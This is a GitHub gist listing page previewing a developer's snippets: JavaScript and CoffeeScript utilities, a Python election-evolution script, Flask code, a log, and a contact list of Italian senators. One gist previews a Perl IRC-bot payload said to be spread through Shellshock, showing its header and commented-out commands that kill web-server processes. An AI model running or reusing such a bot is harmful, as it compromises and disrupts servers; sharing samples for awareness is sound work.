Skip to content

Instantly share code, notes, and snippets.

@jacquerie
jacquerie / iubenda.js.coffee
Last active August 29, 2015 14:00
Turbolinks.js + iubenda.js
class @Iubenda
@load: ->
if typeof Turbolinks isnt "undefined" and Turbolinks.supported
document.addEventListener "page:change", (->
Iubenda.loadTag()
), true
else
Iubenda.loadTag()
@jacquerie
jacquerie / evolution.py
Last active August 29, 2015 14:03
What would past presidential elections look like if electoral votes were multiplied by percentage of people believing in evolution? Usage: python evolution.py votes-20**.tsv
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys
EVOLUTION_DATA = {
"Alabama": 0.51, "Alaska": 0.66, "Arizona": 0.65, "Arkansas": 0.53,
"California": 0.73, "Colorado": 0.69, "Connecticut": 0.77, "Delaware": 0.70,
"Florida": 0.64, "Georgia": 0.60, "Hawaii": 0.71, "Idaho": 0.59, "Illinois": 0.68,
"Indiana": 0.60, "Iowa": 0.62, "Kansas": 0.61, "Kentucky": 0.57, "Louisiana": 0.62,
@jacquerie
jacquerie / levenshtein.js
Created July 24, 2014 11:30
An implementation of the Levenshtein distance using two arrays instead of a matrix, as in: https://gist.github.com/andrei-m/982927
/*
* The MIT License (MIT)
*
* Copyright (c) 2014 Jacopo Notarstefano
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
@jacquerie
jacquerie / fibonacci_memoized.js
Created September 15, 2014 07:51
A Fibonacci implementation that uses memoization.
this.fibonacci = (function (n) {
var fibo = {};
var rec = function (n) {
var tmp;
if (n in fibo) {
tmp = fibo[n];
} else if (n === 0 || n === 1) {
tmp = n;
} else {
@jacquerie
jacquerie / ji.perl
Created October 2, 2014 18:27
This payload is currently being distributed using the Shellshock vulnerability (from http://89.33.193.10/ji)
#!/usr/bin/perl
# ------------------------------------------------------------- #
# LinuxNet perlbot #
# ------------------------------------------------------------- #
#system("kill -9 `ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}'`");
2015-04-02 15:13:53 --> Task #1 submitted.
2015-04-02 15:13:57 --> Task #1 started.
2015-04-02 15:13:57 --> Input file '/home/jnotarst/.virtualenvs/invenio2/src/invenio/invenio/testsuite/data/demo_record_marc_data.xml', input mode 'insert'.
2015-04-02 15:14:00 --> Record 1 DONE
2015-04-02 15:14:00 --> Record 2 DONE
2015-04-02 15:14:00 --> Record 3 DONE
2015-04-02 15:14:00 --> Record 4 DONE
2015-04-02 15:14:00 --> Record 5 DONE
2015-04-02 15:14:01 --> Record 6 DONE
2015-04-02 15:14:01 --> Record 7 DONE
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.orm import backref
from flask_potion.routes import Relation
from flask_potion import ModelResource, fields, Api
app = Flask(__name__)
db = SQLAlchemy(app)
class Author(db.Model):
def bad_nested_ifs(self, value):
foo = self.get(value, None)
if foo:
bar = foo.get('bar', None)
if bar:
baz = bar.get('baz', None)
if baz:
pass # Do something with baz
Nitto Francesco PALMA nitto.palma@senato.it
Felice CASSON https://twitter.com/felicecasson https://www.facebook.com/FeliceCassonVenezia
Maurizio BUCCARELLA maurizio.buccarella@senato.it https://twitter.com/mbuccarella https://www.facebook.com/pages/Maurizio-Buccarella/231777100349249
Rosaria CAPACCHIONE rosaria.capacchione@senato.it https://twitter.com/roscapacchione https://www.facebook.com/pages/Rosaria-Capacchione/1416506645234972
Mario Michele GIARRUSSO mariomichele.giarrusso@senato.it https://twitter.com/giarrussomario https://www.facebook.com/MarioGiarrussocittadinoa5stelle
Gabriele ALBERTINI gabriele.albertini@senato.it https://twitter.com/g_albertini
Lucio BARANI lucio.barani@senato.it https://twitter.com/lucio_barani https://www.facebook.com/onorevole.lucio.barani
Enrico BUEMI enrico.buemi@senato.it https://twitter.com/buemienrico https://www.facebook.com/enrico.buemi.PSI
Giacomo CALIENDO
Enrico CAPPELLETTI cappelletti.senato@gmail.com https://twitter.com/e_cappelletti https://www.facebook.com
@jacquerie
jacquerie / enum.csv
Last active August 29, 2015 14:22
% curl -H "Accept: application/vnd.github.drax-preview+json" https://api.github.com/licenses
We can make this file beautiful and searchable if this error is corrected: No commas found in this CSV file in line 0.
"agpl-3.0"
"apache-2.0"
"artistic-2.0"
"bsd-2-clause"
"bsd-3-clause"
"cc0-1.0"
"epl-1.0"
"gpl-2.0"
"gpl-3.0"
"isc"